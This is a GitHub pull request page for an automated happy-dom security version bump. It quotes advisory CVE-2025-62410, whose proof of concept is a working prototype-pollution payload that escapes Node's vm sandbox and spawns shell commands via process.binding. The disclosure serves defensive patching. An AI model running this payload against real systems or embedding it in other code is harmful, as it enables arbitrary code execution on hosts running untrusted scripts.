Skip to content

chore: bump up happy-dom version to v20.0.2 [SECURITY]#13765

Merged
darkskygit merged 1 commit intocanaryfrom
renovate/npm-happy-dom-vulnerability
Oct 21, 2025
Merged

chore: bump up happy-dom version to v20.0.2 [SECURITY]#13765
darkskygit merged 1 commit intocanaryfrom
renovate/npm-happy-dom-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Oct 15, 2025

This PR contains the following updates:

Package Change Age Confidence
happy-dom 20.0.0 -> 20.0.2 age confidence

GitHub Vulnerability Alerts

CVE-2025-62410

Summary

The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.

Details

The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).

PoC

Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().

import { Browser } from "happy-dom";

const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});

page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
    function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} 
    this.constructor.constructor.__proto__.__proto__.toString = f;
    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
    // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
    
</script>
<body>Hello world!</body></html>`;

await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));

Impact

Arbitrary code execution via breaking out of the Node.js' vm isolation.

Recommended Immediate Actions

Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.

Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.


Release Notes

capricorn86/happy-dom (happy-dom)

v20.0.2

Compare Source

👷‍♂️ Patch fixes

v20.0.1

Compare Source

👷‍♂️ Patch fixes
  • Adds warning for environment with unfrozen intrinsics (builtins) when JavaScript evaluation is enabled- By @​capricorn86 in task #​1932
    • A security advisory has been reported showing that the recommended preventive measure of running Node.js with --disallow-code-generation-from-strings wasn't enough to protect against attackers escaping the VM context and accessing process-level functions. Big thanks to @​cristianstaicu for reporting this!
    • The documentation for how to run Happy DOM with JavaScript evaluation enabled in a safer way has been updated. Read more about it in the Wiki

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Oct 15, 2025
@coderabbitai
Copy link
Contributor

coderabbitai bot commented Oct 15, 2025

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.


Comment @coderabbitai help to get the list of available commands and usage tips.

@codecov
Copy link

codecov bot commented Oct 15, 2025

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 56.75%. Comparing base (01c164a) to head (dbf85c1).
⚠️ Report is 2 commits behind head on canary.

Additional details and impacted files
@@             Coverage Diff             @@
##           canary   #13765       +/-   ##
===========================================
+ Coverage   43.31%   56.75%   +13.43%     
===========================================
  Files        2749     2755        +6     
  Lines      136603   137001      +398     
  Branches    18567    20961     +2394     
===========================================
+ Hits        59175    77749    +18574     
+ Misses      75757    57576    -18181     
- Partials     1671     1676        +5     
Flag Coverage Δ
server-test 77.75% <ø> (+29.95%) ⬆️
unittest 31.99% <ø> (+<0.01%) ⬆️

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 8c06d19 to dbf85c1 Compare October 21, 2025 14:08
@darkskygit darkskygit added this pull request to the merge queue Oct 21, 2025
Merged via the queue into canary with commit a47042c Oct 21, 2025
110 checks passed
@darkskygit darkskygit deleted the renovate/npm-happy-dom-vulnerability branch October 21, 2025 16:31
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

Status: No status

Development

Successfully merging this pull request may close these issues.

1 participant